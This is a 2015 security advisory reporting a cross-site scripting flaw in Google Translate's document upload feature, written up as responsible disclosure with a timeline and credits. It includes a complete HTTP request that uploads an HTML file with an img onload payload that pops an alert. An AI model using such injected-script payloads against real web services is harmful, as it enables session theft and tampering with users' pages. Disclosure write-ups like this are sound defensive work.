I. VULNERABILITY ------------------------- Vulnerability Cross-Site Scripting Translator Google affected by Cross-Site Scripting vulnerability (XSS) Google assumes the vulnerability. II. DESCRIPTION ------------------------- - Firstly, go to https://translate.google.es/?hl=es website and click in "Document Translate" - Upload the proof of concept - Finally, we can display the Cross-Site Scripting (XSS) III. PROOF OF CONCEPT ------------------------- POST /translate_f HTTP/1.1 Host: translate.googleusercontent.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:39.0) Gecko/20100101 Firefox/39.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://translate.google.es/?hl=es Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------147452561017500 Content-Length: 1095 -----------------------------147452561017500 Content-Disposition: form-data; name="sl" en -----------------------------147452561017500 Content-Disposition: form-data; name="tl" es -----------------------------147452561017500 Content-Disposition: form-data; name="js" y -----------------------------147452561017500 Content-Disposition: form-data; name="prev" _t -----------------------------147452561017500 Content-Disposition: form-data; name="hl" es -----------------------------147452561017500 Content-Disposition: form-data; name="ie" UTF-8 -----------------------------147452561017500 Content-Disposition: form-data; name="text" -----------------------------147452561017500 Content-Disposition: form-data; name="file"; filename="poc.html" Content-Type: text/html <img src=" http://www.imagenesderisa.com.mx/wp-content/uploads/2015/10/imagenes-de-risa-2.jpg" onload="alert('XSS en Google AUDIT')"</img> -----------------------------147452561017500 Content-Disposition: form-data; name="edit-text" -----------------------------147452561017500-- IV. SYSTEMS AFFECTED ------------------------- The vulnerability affects the Google Translator. VI. CREDITS ------------------------- These vulnerabilities have been discovered by Francisco Javier Santiago Vázquez ( https://es.linkedin.com/in/francisco-javier-santiago-v%C3%A1zquez-1b654050). (https://twitter.com/n0ipr0cs). VII. DISCLOSURE TIMELINE ------------------------- Nov 02, 2015: Vulnerability acquired by Francisco Javier Santiago Vázquez. aka "n0ipr0cs" Nov 03, 2015 Responsible disclosure to Google Security Team. Nov 03, 2015 Google assumes the vulnerability Nov 26, 2015 Disclosure VIII. Links ------------------------ POC :- http://www.estacion-informatica.com/2015/11/el-no-cross-site-scripting-de-google.html *Francisco Javier Santiago Vázquez Ethical Hacker and Forensic Analyst <http://www.linkedin.com/pub/francisco-javier-santiago-v%C3%A1zquez/50/540/1b6> <http://estacioninformatica.blogspot.com.es/> <https://twitter.com/n0ipr0cs>*